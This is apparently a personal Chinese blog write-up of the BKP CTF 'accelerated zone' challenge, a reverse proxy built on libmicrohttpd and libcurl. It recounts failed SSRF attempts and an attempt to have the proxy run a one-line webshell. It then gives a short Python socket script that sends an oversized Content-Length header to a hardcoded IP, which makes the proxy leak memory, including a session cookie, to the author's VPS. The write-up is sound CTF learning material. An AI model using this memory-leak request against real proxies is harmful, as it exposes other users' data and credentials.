这两天做bkp ctf,算是我第一次认真参加的国际级比赛了。总的感受就是,相比国内的比赛,综合度要高得多,不容易看出题目的考察点。现在web手不会点binary都不好意思出来打比赛了,然而web都还没学好orz。总之,两天比下来还是感觉非常充实,学到了不少。对体力的消耗也很大,比完赛两天一直昏昏沉沉,直到现在才打起精神来总结一下。
首先说accelerated zone这道题。这题挂着web的名号,实际上是一道逆向题。但当时也不懂就傻傻的测试,几乎花了第一天大半的时间,最后还是靠队伍里的大腿指点才get flag。在此记录一下思路。
题目给了一个网址:http://accelerated.zone:8000 和一个二进制文件。题目描述为reverse proxy。关于反代这篇文章讲得很清楚:https://foofish.net/proxy-and-reverse-proxy.html 。
站点分析:
- 如果以GET方式请求该网站,返回500响应头以及一句话:Get better cookies bro。推测本题最终是找到一个cookie并且上传到此站点以获得flag。
- 对web目录进行扫描,除了index.php没有找到其它文件,猜测后台是php环境。
- 对网站端口进行扫描,发现7733端口也开着web服务,行为与8000端口一致,结合题目信息,猜测8000为7733端口的反代服务器。
二进制文件的分析就不是我擅长的了,经过队伍里二进制大佬的帮助,基本分析清楚。这就是该站点上挂的web反代服务器。它使用了libmicrohttpd这个库来处理收到的请求,函数名称为handle_request,用libcurl库来处理转发的请求,函数名称为make_request。经过wireshark抓包分析可知,代理服务器会将收到的http请求进行转发,转发到ip为收到的请求中host头所写的ip,port为7733端口的地址,再将收到的回复转发回来。
那么作为一个web狗,最先想到的是利用ssrf的思路越权访问本地的一些文件。我尝试将host改成127.0.0.1,这样反代服务器会尝试访问127.0.0.1:7733,但是一直访问失败。将host改成localhost以及一些解析为127.0.0.1的域名后也同样不能访问,那么应该是代理服务器做了某些过滤,ssrf的思路行不通。
我又想着能否在自己的vps上开一个7733端口并且放一个一句话看反代服务器是否会下载到本地执行。结果虽然执行成功,但是却是在我自己的vps的执行结果,反代服务器只会返回解析后的结果。
其实这里本来不用走这么多弯路,分析二进制文件的逆向代码就能搞清楚,无奈没有这个技能点。后来经过大佬提示,说这题的原型是cloudbleed .我赶紧现学现用了一下。既然这个漏洞的描述是长度不匹配,那么肯定是http头里面的Content-Length了。
payload 如下:1
2
3
4
5
6
7
8
9import socket
request = ”’POST / HTTP/1.1\r\nHost: Your vps:8000\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip, deflate\r\nConnection: close Upgrade-Insecure-Requests: 1\r\nContent-Length: 50000\r\n\r\n123”’
HOST = ‘54.218.82.219’
PORT = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
request = bytes(request, encoding = “utf8”)
s.send(request)
在自己的vps上打开7733端口,便可以收到代理服务器转发的请求。由于代理服务器没有验证Content-Length的长度和post提交的长度是否相等。如果Content-Length提交的长度大于post的实际长度,代理服务器就会将内存中这个报文之后的内容一起发过来,直到达到Content-Length的长度。由此造成了内存泄露。
从泄露的内存中我们获得了一个cookie,将这个cookie带上发给accelerated.zone:8000,即Get flag:
回顾这道题整个过程,实际上逆向的部分要远远大于web的部分,可见国际比赛考验的是选手的综合安全素养,这方面自己还要提高才行,多多向队伍里的大佬学习。同时,web思维走不通的地方,也应该多考虑下其他的方向。